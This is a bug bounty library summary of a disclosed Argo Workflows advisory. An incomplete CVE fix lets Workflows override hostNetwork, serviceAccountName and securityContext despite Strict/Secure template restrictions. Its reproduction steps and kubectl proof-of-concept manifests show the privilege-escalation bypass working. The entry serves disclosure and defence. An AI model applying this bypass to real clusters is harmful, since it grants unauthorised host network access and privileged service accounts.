# Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure

Argo Workflows' templateReferencing Strict/Secure only blocks podSpecPatch, letting users set hostNetwork, serviceAccountName, securityContext on Workflows to escape hardened templates.

- Payout: Research
- Severity: high
- Program: Argo Workflows
- Found by: vnykmshr
- Disclosed: 2026-05-04
- CVE: CVE-2026-42296
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-3775-99mw-8rp4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3775-99mw-8rp4
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:kubernetes technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration vuln:privilege-escalation

**Target:** Kubernetes workflow controller (WorkflowSpec merge / pod creation)
**Root cause:** The CVE-2026-31892 fix gates only on HasPodSpecPatch() in setExecWorkflow, but JoinWorkflowSpec merges the user's WorkflowSpec over the referenced template, so other pod-affecting fields (hostNetwork, serviceAccountName, securityContext, tolerations, automountServiceAccountToken) survive when the template relies on defaults.
**Steps:**
1. Enable Strict mode: `kubectl patch configmap workflow-controller-configmap -n argo --type merge -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'` then restart controller.
2. Create a WorkflowTemplate `netcheck` with a container template.
3. Submit a Workflow with `workflowTemplateRef: {name: netcheck}` and `hostNetwork: true`.
4. Observe pod created with `hostNetwork: true` despite Strict mode; podSpecPatch is still correctly rejected.
5. Repeat with `serviceAccountName: argo-server` to run pod under that SA; same works in Secure mode.
**How found:** Noticed the CVE-2026-31892 fix only checked HasPodSpecPatch() and reasoned that other WorkflowSpec fields flow through the same JoinWorkflowSpec merge path into createWorkflowPod; tested on patched v4.0.2 to confirm hostNetwork and serviceAccountName overrides survive.
**Exploitation:** A user with create Workflow permission submits a Workflow referencing a hardened template while setting hostNetwork/serviceAccountName/securityContext/tolerations/automountServiceAccountToken; the merged spec is applied at pod creation, granting host network namespace access, SA switching, or scheduling on control-plane nodes.
**Escalation:** Host network access exposes all veth interfaces of other containers on the node; SA switch enables token mounting under a privileged service account.
**Insight:** When a security fix adds a denylist check on one field (podSpecPatch), audit every other field that reaches the same sink via the same merge function — especially zero-value-omitted booleans like hostNetwork that templates never explicitly set, so user values win.

## Proof of concept (copied exactly from the original report)

**Workflow with hostNetwork true bypassing Strict**

```
cat <<'EOF' | kubectl create -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: netcheck
  hostNetwork: true
EOF
```

**WorkflowTemplate netcheck used as reference**

```
cat <<'EOF' | kubectl apply -n argo -f -
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: netcheck
spec:
  entrypoint: check
  templates:
  - name: check
    container:
      image: alpine:latest
      command: ["/bin/sh", "-c"]
      args: ["ip addr show | grep -E '^[0-9]+:' | cut -d: -f2"]
EOF
```

**ConfigMap patch enabling Strict mode**

```
kubectl patch configmap workflow-controller-configmap -n argo --type merge \
  -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}'
kubectl rollout restart deployment workflow-controller -n argo
```

